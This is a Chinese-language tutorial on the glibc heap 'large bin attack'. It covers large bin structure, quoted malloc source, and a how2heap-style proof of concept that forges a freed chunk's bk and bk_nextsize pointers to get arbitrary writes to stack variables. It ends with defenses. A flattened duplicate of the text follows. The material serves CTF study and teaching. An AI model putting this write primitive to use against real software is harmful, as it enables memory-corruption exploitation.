浅析largebin attack
字数 1559 2025-08-05 08:18:25

Large Bin Attack 深入分析与利用

1. Large Bin 基础概念

1.1 Large Bin 定义与特点

  • Large Chunk:大于512字节(或1024字节,取决于系统)的chunk称为large chunk
  • Large Bin:用于管理这些large chunk的bin集合
  • 数量与索引:共63个bin,索引为64~126
  • 大小范围:每个bin中的chunk大小不一致,而是处于一定区间范围内

1.2 Large Bin 结构特性

  • 与其他链表不同,结构更复杂
  • 除了常规的fd、bk指针外,还有两个特殊指针:
    • fd_nextsize:指向下一个不同大小的chunk
    • bk_nextsize:指向上一个不同大小的chunk
  • 插入顺序规则:
    • 按照大小从大到小排序
    • 若大小相同,按照free时间排序
    • 对于相同大小的堆块,只有首堆块的fd_nextsizebk_nextsize会指向其他堆块,后续堆块的这两个指针为0
    • size最大的chunk的bk_nextsize指向最小的chunk
    • size最小的chunk的fd_nextsize指向最大的chunk

2. Large Bin 相关源码分析

2.1 核心处理流程

while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
    bck = victim->bk;
    // 检查chunk大小是否合法
    if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || 
        __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av);
    
    size = chunksize(victim);
    
    // 处理last remainder情况
    if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && 
        victim == av->last_remainder && (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) {
        // 分割并重新附加剩余部分
        remainder_size = size - nb;
        remainder = chunk_at_offset(victim, nb);
        unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks(av);
        if (!in_smallbin_range(remainder_size)) {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
        }
        // 设置头部信息并返回
        set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);
        set_foot(remainder, remainder_size);
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }
    
    // 从unsorted list中移除
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);
    
    // 精确匹配则直接返回
    if (size == nb) {
        set_inuse_bit_at_offset(victim, size);
        if (av != &main_arena) set_non_main_arena(victim);
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }
    
    // 将chunk放入合适的bin中
    if (in_smallbin_range(size)) {
        victim_index = smallbin_index(size);
        bck = bin_at(av, victim_index);
        fwd = bck->fd;
    } else {
        victim_index = largebin_index(size);
        bck = bin_at(av, victim_index);
        fwd = bck->fd;
        
        /* 维护large bins的排序 */
        if (fwd != bck) {
            /* 设置inuse位以加速比较 */
            size |= PREV_INUSE;
            
            /* 如果比最小的还小,跳过下面的循环 */
            assert(chunk_main_arena(bck->bk));
            if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
                fwd = bck;
                bck = bck->bk;
                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize;
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } else {
                assert(chunk_main_arena(fwd));
                while ((unsigned long)size < chunksize_nomask(fwd)) {
                    fwd = fwd->fd_nextsize;
                    assert(chunk_main_arena(fwd));
                }
                if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
                    /* 总是插入在第二个位置 */
                    fwd = fwd->fd;
                else {
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }
                bck = fwd->bk;
            }
        } else
            victim->fd_nextsize = victim->bk_nextsize = victim;
    }
    
    mark_bin(av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}

2.2 关键处理步骤

  1. unsorted bin遍历:每次迭代检索unsorted bin的最后一个chunk
  2. last remainder处理:如果满足条件,分割chunk并返回请求部分
  3. 精确匹配检查:如果size完全匹配,直接返回
  4. small bin处理:如果chunk在small bin范围内,插入对应small bin
  5. large bin处理
    • 如果large bin为空,直接插入
    • 如果比最小的还小,插入到末尾
    • 否则遍历找到合适位置插入:
      • 如果找到相同大小,插入到第二个位置
      • 否则作为新的大小插入

3. Large Bin Attack 利用技术

3.1 攻击原理

通过修改large bin中chunk的bkbk_nextsize指针,在后续malloc操作中实现任意地址写。关键利用点在于:

fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

fwd->bk = victim;
bck->fd = victim;

3.2 利用步骤示例

  1. 分配多个large chunk:

    unsigned long *p1 = malloc(0x320);
    malloc(0x20); // 防止合并
    unsigned long *p2 = malloc(0x400);
    malloc(0x20); // 防止合并
    unsigned long *p3 = malloc(0x400);
    malloc(0x20); // 防止合并
    
  2. 释放p1和p2到unsorted bin:

    free(p1);
    free(p2);
    
  3. 分配一个小chunk,使p2进入large bin:

    malloc(0x90);
    
  4. 释放p3到unsorted bin:

    free(p3);
    
  5. 修改p2的元数据:

    p2[-1] = 0x3f1; // 修改size
    p2[0] = 0;      // fd
    p2[2] = 0;      // fd_nextsize
    p2[1] = (unsigned long)(&stack_var1 - 2); // bk
    p2[3] = (unsigned long)(&stack_var2 - 4); // bk_nextsize
    
  6. 再次malloc触发攻击:

    malloc(0x90);
    

3.3 内存布局变化

攻击前:

  • last_remainder: 0x6030a0 (size: 0x290)
  • unsortbin: 0x6037a0 (size: 0x410) <--> 0x6030a0 (size: 0x290)
  • largebin[0]: 0x603360 (size: 0x410)

攻击后:

  • 通过修改p2的bkbk_nextsize,使得在插入p3时:
    • fwd->bk_nextsize->fd_nextsize = victim 写入目标地址1
    • fwd->bk = victim 写入目标地址2

4. 实际应用场景

  1. 修改全局变量:如修改global_max_fast以启用后续的fastbin攻击
  2. 栈变量修改:如示例中修改栈上的变量
  3. 任意地址写:结合其他技术实现更复杂的攻击

5. 防御措施

  1. 完整性检查:对large bin的链表操作增加更严格的检查
  2. 指针验证:验证bkbk_nextsize指针的有效性
  3. 安全机制:如tcache机制可以减少此类攻击面

6. 参考资源

Large Bin Attack 深入分析与利用 1. Large Bin 基础概念 1.1 Large Bin 定义与特点 Large Chunk :大于512字节(或1024字节,取决于系统)的chunk称为large chunk Large Bin :用于管理这些large chunk的bin集合 数量与索引 :共63个bin,索引为64~126 大小范围 :每个bin中的chunk大小不一致,而是处于一定区间范围内 1.2 Large Bin 结构特性 与其他链表不同,结构更复杂 除了常规的fd、bk指针外,还有两个特殊指针: fd_nextsize :指向下一个不同大小的chunk bk_nextsize :指向上一个不同大小的chunk 插入顺序规则: 按照大小从大到小排序 若大小相同,按照free时间排序 对于相同大小的堆块,只有首堆块的 fd_nextsize 和 bk_nextsize 会指向其他堆块,后续堆块的这两个指针为0 size最大的chunk的 bk_nextsize 指向最小的chunk size最小的chunk的 fd_nextsize 指向最大的chunk 2. Large Bin 相关源码分析 2.1 核心处理流程 2.2 关键处理步骤 unsorted bin遍历 :每次迭代检索unsorted bin的最后一个chunk last remainder处理 :如果满足条件,分割chunk并返回请求部分 精确匹配检查 :如果size完全匹配,直接返回 small bin处理 :如果chunk在small bin范围内,插入对应small bin large bin处理 : 如果large bin为空,直接插入 如果比最小的还小,插入到末尾 否则遍历找到合适位置插入: 如果找到相同大小,插入到第二个位置 否则作为新的大小插入 3. Large Bin Attack 利用技术 3.1 攻击原理 通过修改large bin中chunk的 bk 和 bk_nextsize 指针,在后续malloc操作中实现任意地址写。关键利用点在于: 和 3.2 利用步骤示例 分配多个large chunk: 释放p1和p2到unsorted bin: 分配一个小chunk,使p2进入large bin: 释放p3到unsorted bin: 修改p2的元数据: 再次malloc触发攻击: 3.3 内存布局变化 攻击前: last_ remainder: 0x6030a0 (size: 0x290) unsortbin: 0x6037a0 (size: 0x410) <--> 0x6030a0 (size: 0x290) largebin[ 0 ]: 0x603360 (size: 0x410) 攻击后: 通过修改p2的 bk 和 bk_nextsize ,使得在插入p3时: fwd->bk_nextsize->fd_nextsize = victim 写入目标地址1 fwd->bk = victim 写入目标地址2 4. 实际应用场景 修改全局变量 :如修改 global_max_fast 以启用后续的fastbin攻击 栈变量修改 :如示例中修改栈上的变量 任意地址写 :结合其他技术实现更复杂的攻击 5. 防御措施 完整性检查 :对large bin的链表操作增加更严格的检查 指针验证 :验证 bk 和 bk_nextsize 指针的有效性 安全机制 :如tcache机制可以减少此类攻击面 6. 参考资源 CTF Wiki - Large Bin Attack how2heap large_ bin_ attack示例 glibc源码分析